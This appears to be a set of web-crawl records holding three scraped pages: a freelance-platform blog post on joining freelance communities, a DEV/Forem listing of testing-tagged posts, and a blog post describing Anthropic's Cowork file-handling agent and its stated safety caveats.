inbox. Sign up Close Search Search the NAM Search	2026-01-13T08:47:56
https://ruul.io/blog/how-can-you-become-more-connected-with-a-freelance-community	Why you should join a freelance community - Ruul (Formerly Rimuut) Product Payment Requests Get paid anywhere. Sell Services Make your services buyable Sell Products Create once sell forever Subscriptions Get paid on repeat Ruul Space Your personel storefront. One link for everything you offer. Learn more Pricing Resources Partner Programs Referral Program Get 1% for life. Seriously. Affiliate Program Bring users, get paid Partners Let’s grow together. More Blog About us Support Brand Kit For Customers Log in Sign up For Businesses Login Sign up grow Why you should join a freelance community Freelance communities are incredible opportunities to socialize, network, gain new skills, and more. Ceylin Güven 5 min read RUUL FOR INDEPENDENCE You chose independence.We make sure you keep it. Sell your time, your talent, whatever you create or build always on your terms. Get started See Example This is also a heading This is a heading Key Points Freelancing is great for many reasons: It grants you enormous flexibility, lets you become your own boss, and control your work from wherever you want. But sometimes this ‘solo work’ can indeed feel a bit too solo , and lead to feelings of isolation . In this case, joining a freelance community can help. Freelance communities are incredible opportunities to socialize, network, gain new skills , and more. In this article, we’ll work you through all the key benefits and help you choose the right platform for your needs. The benefits of joining a community for freelancers Socializing with like-minded people Joining a social community for freelancers and digital nomads is a great way to stay connected within your niche, grow your expertise, while also having much needed fun. Having different options to socialize and mingle with other freelancers is a great and unique opportunity that’s hard to find otherwise. Talking with your peers in similar industries can also be really helpful in many ways: You can gain insight from the more experienced , bounce ideas off of each other, and more importantly, make friends with like-minded people. Most community platforms also host regular events for networking, socialization, and encouraging cooperation among talents. Improved mental health Humans are social creatures, and having a connection with others is a fundamental need. Along with your physical health , taking care of your mental health is highly important. Freelance communities offer a unique solution to a unique problem: By providing you with a group of people that are experiencing similar things as you, they can help feelings of loneliness tremendously. Especially after the added isolation of the pandemic can be still present, this is an essential support system for those who want to better their mental health . In turn, it will also allow you to support others and become a more active part of your freelancing community. Exciting global networking opportunities Especially with an online freelance community, you can expand your network and find business opportunities. Having contact with a global set of people who work in the same field can be tremendously helpful. It can boost your recognition within the freelancing world , land you new jobs and expand your portfolio , and increase your chances to collaborate with others. What more could you want? Gaining access to resources Last but not least is the ability to get additional resources. This is especially helpful if you’re a budding freelancer. Getting insights about specific matters, recommendations for a freelancing tool or platform, attending courses, and accessing learning materials can all take you a long way in your freelancing journey. It’s exactly like what psychologist Angela Duckworth says in her book ‘Grit’ : “At the start of an endeavor, we need encouragement and freedom to figure out what we enjoy. We need small wins. We need applause.” Indeed, a freelancer community can give you just that – dedicated mentorship , personal tips, and all the necessary encouragement you’ll need to kickstart your career. And keep in mind that this goes both ways: If you’re on the more experienced side, it can’t hurt to share your knowledge with other freelancers. This will help shape you into a more active part of the community, grow your circle, and make you more respected by your peers. How to choose the right freelance community If you want to join a freelance group, finding the right one for you might be a challenge. We prepared a simple guide to start you off: Explore different options Freelance communities come in all shapes and sizes, and there are specific platforms for every type of community you can be a part of. Here are some of the different categories to keep in mind while browsing for yourself: General freelancing communities: These are more generalized platforms about freelancing in general. They are perfect to get more insight about the trade, and diversify your portfolio by learning new skills . When utilized properly, joining communities like Freelance University can change the trajectory of your freelancing career. Niche industry/job communities: As the name suggests, this is a freelance community type centered around the topic of a certain niche. Whether you’re a programmer, consultant, designer or anything else – there are communities out there for you. These can help you get more business-focused advice and support, while also helping you grow as a freelancer in your dedicated field. You can find these communities on different platforms via a simple search on Facebook groups, Slack communities, Subreddits, forums, etc. Some with large enough members also have their own dedicated websites and associations, like the National Association of Science Writers . Identity-based communities: Freelance communities such as Black Freelance , Freelancing Females , etc. aim to create additional safe spaces for people of certain identities within the freelance world. This might make it easier to get dedicated advice on related topics (such as dealing with sexism in the workplace, for example). It will also help you find a more diverse range of like-minded individuals that your real life circle might be lacking. Others: There are other alternatives that don’t quite fit these categorizations, such as digital nomad communities or local community spaces. These groups can talk about more specific things about their freelancing journey: Finding local coworking spaces , getting advice on future digital nomad locations , etc. Review their resources Once you’ve started your category-based research, you can start evaluating what these communities offer, and if they’ll be useful to your needs. It helps to have specific goals in mind when browsing your freelancing community options. Ask yourself: What kind of resources and perks are you looking for? Do you want access to learning materials, or just a simple conversational platform? What about events like meetups and webinars? Here, we want to highlight the importance of different resources and perks offered by the community. Having access to guides, tips, best practices, webinars; being presented with exclusive discounts and offers on helpful platforms and tools or having the opportunity to build skills with learning materials is invaluable if you’re new to freelancing. Budgetary concerns Last but not least is the matter of budgeting your community applications. Though mostly not the case, freelance communities run on memberships where you’ll have to pay a monthly or annual fee. If you’re new to freelancing, you’re probably already burdened with financial anxiety . Adding onto it by joining a subscription-based freelance community might not feel like it’s worth it. And unless you feel like that specific community is absolutely integral to your future success, you shouldn’t feel the need to. There is an abundance of free options for freelance communities out there, and they will be more than enough to provide you with the support you’ll need. Find what you need in Ruul Community The fact that freelance communities are useful for solo talents is undeniable – whether for socialization, expanding your portfolio, or otherwise. Ruul’s new community project Ruul Community is an extensive freelance community space that includes specific channels for a variety of topics. You can introduce your solo business, ask questions, attend events and coworking sessions, receive special discounts for products that can help you along the way and find solutions for everything you need, whenever you need. Join now and explore how you can boost your solo business. ABOUT THE AUTHOR Ceylin Güven Ceylin Güven likes reading anything she can get her hands on, writing poetry that’s way too personal, and watching Studio Ghibli movies. More Smart, speedy and sleek: Meet the new Ruul dashboard Introducing the new Ruul dashboard: smart, speedy, and sleek. Discover an enhanced user experience designed to streamline your workflow and maximize productivity Read more When and how to ask for payment upfront as a freelancer Take a look at why you should ask for payment upfront, how to go about doing it, and different options you can pursue when it comes to getting paid. Read more How to Invoice as a Freelancer in Spain Struggling with invoicing in Spain as a freelancer? Read on for a complete guide to navigate the process seamlessly. Read more MORE THAN 120,000 Independents Over 120,000 independents trust Ruul to sell their services, digital products, and securely manage their payments. FROM 190 Countries Truly global coverage: trusted across 190 countries with seamless payouts available in 140 currencies. PROCESSED $200m+ of Transactions Over $200M successfully processed, backed by an 8-year legacy of secure, reliable transactions trusted by independents worldwide. FREQUENTLY ASKED QUESTIONS Everything you need to know. Get clear, straightforward answers to the most common questions about using Ruul. hey@ruul.io What is Ruul? Ruul is a merchant-of-record platform helping freelancers and creators globally sell services, digital products, subscriptions, and easily get paid. Who is Ruul for? Ruul is designed for freelancers, creators, and independent professionals who want a simple way to sell online and get paid globally. How does Ruul work? Open an account, complete a quick verification (KYC), and link your payout account. Then, start selling through your store or send payment requests to customers instantly. How does pricing work? Signing up is free. There are no subscription or hidden fees. Ruul charges a small commission only when you sell or get paid through the platform. What is a Merchant of Record? A merchant of record is the legal seller responsible for processing payments, handling taxes, and managing compliance for each transaction. What can I sell on Ruul? You can sell services, digital products, license keys, online courses, subscriptions, and digital memberships. How do I get paid on Ruul? Add your preferred bank account, digital wallet, or receive payouts in stablecoins as crypto. Funds arrive within 24 hours after a payout is triggered. OPEN AN ACCOUNT START MAKING MONEY TODAY ruul.space/ Thank you! Your submission has been received! Oops! Something went wrong while submitting the form. Trustpilot Product Payment Requests Sell Services Sell Products Subscriptions Ruul Space Pricing For Businesses Resources Blog About Contact Support Referral Program Affiliate Program Partner Program Tools Invoice Generator NDA Generator Service Agreement Generator Freelancer Hourly Rate Calculator All Rights Reserved © 2025 Terms Of Use Privacy Policy	2026-01-13T08:47:56
https://forem.com/t/testing	Testing - Forem Forem Feed Follow new Subforems to improve your feed DEV Community Follow A space to discuss and keep up software development and manage your software career Future Follow News and discussion of science and technology such as AI, VR, cryptocurrency, quantum computing, and more. Open Forem Follow A general discussion space for the Forem community. If it doesn't have a home elsewhere, it belongs here Gamers Forem Follow An inclusive community for gaming enthusiasts Music Forem Follow From composing and gigging to gear, hot music takes, and everything in between. Vibe Coding Forem Follow Discussing AI software development, and showing off what we're building. Popcorn Movies and TV Follow Movie and TV enthusiasm, criticism and everything in-between. DUMB DEV Community Follow Memes and software development shitposting Design Community Follow Web design, graphic design and everything in-between Security Forem Follow Your central hub for all things security. From ethical hacking and CTFs to GRC and career development, for beginners and pros alike Golf Forem Follow A community of golfers and golfing enthusiasts Crypto Forem Follow A collaborative community for all things Crypto—from Bitcoin to protocol development and DeFi to NFTs and market analysis. Parenting Follow A place for parents to the share the joys, challenges, and wisdom that come from raising kids. We're here for them and for each other. Forem Core Follow Discussing the core forem open source software project — features, bugs, performance, self-hosting. Maker Forem Follow A community for makers, hobbyists, and professionals to discuss Arduino, Raspberry Pi, 3D printing, and much more. HMPL.js Forem Follow For developers using HMPL.js to build fast, lightweight web apps. A space to share projects, ask questions, and discuss server-driven templating Dropdown menu Dropdown menu Skip to content Navigation menu Search Powered by Algolia Search Log in Create account DEV Community Close Testing Follow Hide Find those bugs before your users do! 🐛 Create Post Older #testing posts 1 2 3 4 5 6 7 8 9 … 75 … 481 Posts Left menu 👋 Sign in for the ability to sort posts by relevant , latest , or top . Right menu SLMs, LLMs and a Devious Logic Puzzle Test Ben Santora Ben Santora Ben Santora Follow Jan 12 SLMs, LLMs and a Devious Logic Puzzle Test # llm # performance # testing 5 reactions Comments Add Comment 5 min read Observing Behavioral Anomalies in Web Applications Beyond Signature Scanners 0x7b 0x7b 0x7b Follow Jan 12 Observing Behavioral Anomalies in Web Applications Beyond Signature Scanners # monitoring # performance # security # testing Comments Add Comment 1 min read How to handle drag and drop with Cypress in Workflow Builder Daniil Daniil Daniil Follow Jan 13 How to handle drag and drop with Cypress in Workflow Builder # testing # cypress # javascript # ai Comments Add Comment 2 min read Case Study (Day 0): Testing a Topical Authority Burst Strategy on a Brand-New Site Topical HQ Topical HQ Topical HQ Follow Jan 13 Case Study (Day 0): Testing a Topical Authority Burst Strategy on a Brand-New Site # devjournal # marketing # startup # testing 4 reactions Comments Add Comment 2 min read TWD Tip: Stub Auth0 Hooks and Mock React Modules Kevin Julián Martínez Escobar Kevin Julián Martínez Escobar Kevin Julián Martínez Escobar Follow Jan 12 TWD Tip: Stub Auth0 Hooks and Mock React Modules # webdev # testing # react # twd Comments Add Comment 3 min read Package Updates Are Investments, Not Hygiene Tasks Steven Stuart Steven Stuart Steven Stuart Follow Jan 12 Package Updates Are Investments, Not Hygiene Tasks # leadership # softwaredevelopment # testing Comments Add Comment 8 min read When Tests Keep Passing, but Design Stops Moving Felix Asher Felix Asher Felix Asher Follow Jan 12 When Tests Keep Passing, but Design Stops Moving # tdd # ai # testing # softwareengineering Comments Add Comment 3 min read Testing in the Age of AI Agents: How I Kept QA from Collapsing wintrover wintrover wintrover Follow Jan 12 Testing in the Age of AI Agents: How I Kept QA from Collapsing # testing # qa # automation # tdd Comments Add Comment 4 min read Integration tests in Node.js with Mocha/Chai Lucas Pereira de Souza Lucas Pereira de Souza Lucas Pereira de Souza Follow Jan 12 Integration tests in Node.js with Mocha/Chai # api # javascript # node # testing Comments Add Comment 6 min read From Manual Testing to AI Pipelines: Lessons That Never Changed in My QA Career Adnan Arif Adnan Arif Adnan Arif Follow Jan 12 From Manual Testing to AI Pipelines: Lessons That Never Changed in My QA Career # ai # machinelearning # testing Comments Add Comment 4 min read Testes de integração em Node.js com Mocha/Chai Lucas Pereira de Souza Lucas Pereira de Souza Lucas Pereira de Souza Follow Jan 12 Testes de integração em Node.js com Mocha/Chai # api # javascript # node # testing Comments Add Comment 7 min read [Go] Useful Packages from Go's Internal Source Code: go-internal Evan Lin Evan Lin Evan Lin Follow Jan 11 [Go] Useful Packages from Go's Internal Source Code: go-internal # learning # testing # tooling # go Comments Add Comment 3 min read How I stopped Claude Code from hallucinating on Day 4 (The "Spec-Driven" Workflow) Samarth Hathwar Samarth Hathwar Samarth Hathwar Follow Jan 12 How I stopped Claude Code from hallucinating on Day 4 (The "Spec-Driven" Workflow) # productivity # ai # claudecode # testing Comments Add Comment 3 min read How to Generate Test Data for PostgreSQL (2 Methods) DDLTODATA DDLTODATA DDLTODATA Follow Jan 11 How to Generate Test Data for PostgreSQL (2 Methods) # postgres # testing # data # tutorial Comments Add Comment 3 min read TWD 1.4.x is out – focused on Developer Experience Kevin Julián Martínez Escobar Kevin Julián Martínez Escobar Kevin Julián Martínez Escobar Follow Jan 11 TWD 1.4.x is out – focused on Developer Experience # webdev # testing # twd Comments Add Comment 1 min read [Golang] Testing Twitter Authentication and Building a Timeline Project Evan Lin Evan Lin Evan Lin Follow Jan 11 [Golang] Testing Twitter Authentication and Building a Timeline Project # testing # api # tutorial # go Comments Add Comment 1 min read I asked devs to crash my App. Here's what happened in the first 24h (DDoS, Billing Limits & Error 1101) Elias Oliveira Elias Oliveira Elias Oliveira Follow Jan 10 I asked devs to crash my App. Here's what happened in the first 24h (DDoS, Billing Limits & Error 1101) # showdev # security # testing # devops Comments Add Comment 2 min read Vibe Coding vs AI-Driven Development: The Contracts Problem (and GS-TDD) Dennis Schmock Dennis Schmock Dennis Schmock Follow Jan 9 Vibe Coding vs AI-Driven Development: The Contracts Problem (and GS-TDD) # ai # testing # tdd # reliability Comments Add Comment 4 min read Testes de Interface com Playwright e MCP no Windsurf Victor Geruso Gomes Victor Geruso Gomes Victor Geruso Gomes Follow Jan 9 Testes de Interface com Playwright e MCP no Windsurf # webdev # ai # testing # ui Comments Add Comment 3 min read Try crash my app! I built a Link Shortener on the Edge. Can you help me crash it? (Live Dashboard) Elias Oliveira Elias Oliveira Elias Oliveira Follow Jan 9 Try crash my app! I built a Link Shortener on the Edge. Can you help me crash it? (Live Dashboard) # showdev # architecture # performance # testing Comments Add Comment 1 min read P2 - AgentEvolver 的self-question 部分代码精读 Zhaopeng Xuan Zhaopeng Xuan Zhaopeng Xuan Follow Jan 9 P2 - AgentEvolver 的self-question 部分代码精读 # agents # ai # llm # testing Comments Add Comment 1 min read Why OWASP-Aligned Testing Alone Isn’t Enough and How ZeroThreat Goes Further Jigar Shah Jigar Shah Jigar Shah Follow Jan 9 Why OWASP-Aligned Testing Alone Isn’t Enough and How ZeroThreat Goes Further # devops # security # testing Comments Add Comment 4 min read Testing Recovery: Proving Your App Helps People Stabilize CrisisCore-Systems CrisisCore-Systems CrisisCore-Systems Follow Jan 8 Testing Recovery: Proving Your App Helps People Stabilize # testing # a11y # healthcare # react Comments Add Comment 10 min read Testing Database Logic: What to Test, What to Skip, and Why It Matters CodeCraft Diary CodeCraft Diary CodeCraft Diary Follow Jan 6 Testing Database Logic: What to Test, What to Skip, and Why It Matters # programming # php # testing # development Comments Add Comment 4 min read Test Your Tests: Does Your Crisis Simulation Match Reality? CrisisCore-Systems CrisisCore-Systems CrisisCore-Systems Follow Jan 7 Test Your Tests: Does Your Crisis Simulation Match Reality? # testing # a11y # healthcare # react Comments Add Comment 10 min read loading... trending guides/resources I built my own S3 for $5/mo Shared Hosting (because no one else did) Updating to Jest 30 is Frustrating (it's JSDOM) Unit Tests: The Greatest Lie We Tell Ourselves? Playwright MCP Servers Explained: Automation and Testing Using AI in Playwright Tests Unit Testing Using Spring Boot, JUnit and Mockito Automate Microsoft MFA login using Playwright Making Pytest Beautiful: A Complete Guide to Improving Test Output (with Plugins & Examples) Crafting Effective Prompts for GenAI in Software Testing GitHub Copilot Agent Skills: Teaching AI Your Repository Patterns Stop Chatting, Start Specifying: Spec-Driven Design with Kiro IDE Maestro: A Single Framework for Mobile and Web E2E Testing ATM Hacking: From Terminator 2 Fantasy to Red Team Reality From Swagger to Tests: Building an AI-Powered API Test Generator with Python Patrol: The Flutter Testing Framework That Changes Everything 7 Best Hoppscotch Alternatives in 2025: Complete Developer's Guide to API Testing Tools It’s Time To Kill Staging: The Case for Testing in Production Agent Factory Recap: A Deep Dive into Agent Evaluation, Practical Tooling, and Multi-Agent Systems 🚀 22s to 4s: How AI Fixed Our Vitest Performance How We Catch UI Bugs Early with Visual Regression Testing 💎 DEV Diamond Sponsors Thank you to our Diamond Sponsors for supporting the DEV Community Google AI is the official AI Model and Platform Partner of DEV Neon is the official database partner of DEV Algolia is the official search partner of DEV DEV Community — Your community HQ Home About Contact Code of Conduct Privacy Policy Terms of Use Built on Forem — the open source software that powers DEV and other inclusive communities. Made with love and Ruby on Rails . DEV Community © 2016 - 2026. We're a blogging-forward open source social network where we learn from one another Log in Create account	2026-01-13T08:47:56
https://dev.to/sivarampg/cowork-claude-code-for-the-rest-of-your-work-3hjp	Cowork: Claude Code for the Rest of Your Work - DEV Community Forem Feed Follow new Subforems to improve your feed DEV Community Follow A space to discuss and keep up software development and manage your software career Future Follow News and discussion of science and technology such as AI, VR, cryptocurrency, quantum computing, and more. Open Forem Follow A general discussion space for the Forem community. If it doesn't have a home elsewhere, it belongs here Gamers Forem Follow An inclusive community for gaming enthusiasts Music Forem Follow From composing and gigging to gear, hot music takes, and everything in between. Vibe Coding Forem Follow Discussing AI software development, and showing off what we're building. Popcorn Movies and TV Follow Movie and TV enthusiasm, criticism and everything in-between. DUMB DEV Community Follow Memes and software development shitposting Design Community Follow Web design, graphic design and everything in-between Security Forem Follow Your central hub for all things security. From ethical hacking and CTFs to GRC and career development, for beginners and pros alike Golf Forem Follow A community of golfers and golfing enthusiasts Crypto Forem Follow A collaborative community for all things Crypto—from Bitcoin to protocol development and DeFi to NFTs and market analysis. Parenting Follow A place for parents to the share the joys, challenges, and wisdom that come from raising kids. We're here for them and for each other. Forem Core Follow Discussing the core forem open source software project — features, bugs, performance, self-hosting. Maker Forem Follow A community for makers, hobbyists, and professionals to discuss Arduino, Raspberry Pi, 3D printing, and much more. HMPL.js Forem Follow For developers using HMPL.js to build fast, lightweight web apps. A space to share projects, ask questions, and discuss server-driven templating Dropdown menu Dropdown menu Skip to content Navigation menu Search Powered by Algolia Search Log in Create account DEV Community Close Add reaction Like Unicorn Exploding Head Raised Hands Fire Jump to Comments Save Boost More... Copy link Copy link Copied to Clipboard Share to X Share to LinkedIn Share to Facebook Share to Mastodon Share Post via... Report Abuse Sivaram Posted on Jan 13           Cowork: Claude Code for the Rest of Your Work # ai # software # productivity # tooling Anthropic just dropped something interesting, and it's not just another AI chatbot. It's called Cowork , and it might represent where AI agents are heading next. What is Cowork? Cowork is essentially "Claude Code for the rest of your work" — a general-purpose AI agent that can work with files on your computer without requiring you to write a single line of code. Think of it this way: Claude Code was built for developers to automate coding tasks. But Anthropic noticed something interesting — developers were using it for everything else: vacation research, building slide decks, cleaning up email, cancelling subscriptions, recovering wedding photos from hard drives, monitoring plant growth, and even controlling ovens. So they stripped away the terminal interface and built Cowork — a visual, approachable version that anyone can use. How It Works The workflow is refreshingly simple: Grant folder access — You give Claude access to a specific folder on your computer Describe what you need — Tell Claude what you want in plain language Let it work — Claude makes a plan, executes steps in parallel, and keeps you updated on progress Get results — Claude reads, edits, or creates files as needed Example Use Cases Here's what you can do with Cowork: Reorganize your downloads folder — Sort and rename files intelligently Create expense reports — Turn a pile of receipt screenshots into a structured spreadsheet Draft reports — Synthesize scattered notes into a coherent first draft File organization — Clean up your desktop or organize documents by project Real-World Performance: 320 Podcast Transcripts in 15 Minutes Lenny Rachitsky put Cowork to the test with a substantial task — analyzing 320 podcast transcripts to extract key insights. Here's what happened: The Task: "Go through every Lenny's Podcast episode and pull out the 10 most important themes and lessons for product builders. Then give me the 10 most counterintuitive truths." The Setup: Lenny gave Claude access to a folder containing 320 podcast transcripts. The Result: 15 minutes later, Claude delivered: The 10 Most Important Themes from Lenny's Podcast Activation Is Everything — Slack's "2,000 messages" moment, Gamma's 30-second magic. Get users to value fast. Storytelling as a Superpower — Compelling narratives align organizations better than documents. Positioning Is Strategy, Not Marketing — April Dunford's 5-step framework that starts with competitive alternatives, not messaging. Product Discovery Before Delivery — Teresa Torres' Opportunity Solution Trees and Marty Cagan's Four Risks framework. Talk to customers weekly, not quarterly. Ruthless Prioritization — Shreyas Doshi's LNO Framework (Leverage/Neutral/Overhead) and focusing on opportunity cost over ROI. AI is Transforming Product Development — Model maximalism, evals as core PM skill, CEOs becoming ICs again. Empowered Teams vs. Feature Factories — Marty Cagan's distinction: give teams problems to solve, not features to build. Build Your Operating System — Claire Hughes Johnson's framework for founding documents, operating cadence, and decision frameworks. Pre-Mortems and Risk Anticipation — Shreyas Doshi's technique to surface failure modes before they happen. Small Teams, Outsized Impact — Jason Fried's 2-person/6-week constraints, Shopify's pair programming culture. The 10 Most Counterintuitive Truths Fear Gives Bad Advice — Do the Opposite — Whatever you're afraid to do (hard conversation, telling board bad news) is exactly what you should do. Adding Friction Can INCREASE Conversion — Adding personalization questions to signup improved Amplitude's conversion by 5%. Fewer Features = More Value — The Walkman succeeded because Sony REMOVED recording. QuickBooks wins with half the features at double the price. Adding People Makes You Slower (Absolutely) — Companies produce MORE total output after layoffs. Coordination overhead is silent killer. What Customers Say They Want Is Meaningless — 93% said they wanted energy-efficient homes. Nobody bought them. "Bitchin' ain't switchin'." Goals Are Not Strategy — They're Opposite — Richard Rumelt says confusing goals for strategy is most common strategic error. OKRs are often just wish lists. Don't A/B Test Your Big Bets — Instagram and Airbnb actively reject testing for transformational changes. You can't A/B test your way to greatness. Your Gut IS Data — Intuition is compressed experiential learning that isn't statistically significant yet. Don't discount it. By the Time You're Thinking About Quitting, It's Too Late — Stewart Butterfield killed Glitch while it was still growing 6-7% weekly. That's why he could start Slack. Most PMs Are Overpaid and Unnecessary — Marty Cagan himself says feature teams don't need PMs. Nikita Bier calls PM "not real." Lenny's verdict: "This is a substantial task - 320 podcast transcripts to analyze!" That's impressive — processing 320 transcripts and synthesizing them into actionable insights in just 15 minutes. The Mind-Blowing Part Here's the detail that's getting attention: Cowork was reportedly built in about a week and a half, and much of it was written by Claude Code itself. That's right — Anthropic's AI coding agent helped build its own non-technical sibling product. It's a recursive improvement loop happening in real-time, and it shows how AI tools can accelerate their own development. Integration with Your Existing Tools Cowork doesn't work in isolation. It integrates with: Connectors — Link Claude to tools like Asana, Notion, Canva, Linear, and more Skills — Specialized capabilities for working with Excel, presentations, or following brand guidelines Chrome extension — Complete tasks that require browser access This means Claude can pull real data from your project management tools, generate documents in your preferred formats, and maintain context across your entire workflow. Safety First Anthropic is being upfront about the risks: Controlled access — Claude can only access files you explicitly grant it access to Confirmation prompts — Claude asks before taking significant actions Clear instructions matter — Vague prompts could lead to unintended actions (like deleting files) Prompt injection risks — Like all AI agents, there are concerns about malicious content trying to hijack the agent They recommend starting with non-sensitive files while you learn how it works. Availability Right now, Cowork is available as a research preview for: Claude Max subscribers ($100-$200/month) on macOS Waitlist available for users on other plans Windows support and broader availability are coming later. What This Means for the Future Cowork represents an interesting shift in AI — moving from chatbots that just talk to you, toward agents that can actually do things for you. It's not about replacing developers or knowledge workers; it's about giving them an AI collaborator that can handle the repetitive, time-consuming tasks that get in the way of real work. The fact that Claude Code helped build Cowork shows how AI tools can compound each other's capabilities. We're seeing the beginning of AI systems that can build, improve, and extend themselves. If you're on Claude Max with a Mac, you can try Cowork today by clicking "Cowork" in the Claude Desktop sidebar. Everyone else can join the waitlist and see what the future of AI-assisted work looks like. Top comments (0) Subscribe Personal Trusted User Create template Templates let you quickly answer FAQs or store snippets for re-use. Submit Preview Dismiss Code of Conduct • Report abuse Are you sure you want to hide this comment? It will become hidden in your post, but will still be visible via the comment's permalink . Hide child comments as well Confirm For further actions, you may consider blocking this person and/or reporting abuse Sivaram Follow Full Stack Engineer. Consultant. Designing & Developing Blockchain & AI E2E Solutions. De-risking Ambiguity. OSS Location India Joined Oct 5, 2023 More from Sivaram Building Reliable RAG Systems # rag # architecture # tutorial # ai The Ralph Wiggum Approach: Running AI Coding Agents for Hours (Not Minutes) # webdev # productivity # ai # agents How the Creator of Claude Code Uses Claude Code: A Complete Breakdown # ai # webdev # programming # productivity 💎 DEV Diamond Sponsors Thank you to our Diamond Sponsors for supporting the DEV Community Google AI is the official AI Model and Platform Partner of DEV Neon is the official database partner of DEV Algolia is the official search partner of DEV DEV Community — A space to discuss and keep up software development and manage your software career Home DEV++ Podcasts Videos DEV Education Tracks DEV Challenges DEV Help Advertise on DEV DEV Showcase About Contact Free Postgres Database Software comparisons Forem Shop Code of Conduct Privacy Policy Terms of Use Built on Forem — the open source software that powers DEV and other inclusive communities. Made with love and Ruby on Rails . DEV Community © 2016 - 2026. We're a place where coders share, stay up-to-date and grow their careers. Log in Create account	2026-01-13T08:47:56

Subsets and Splits

No community queries yet

The top public SQL queries from the community will appear here once available.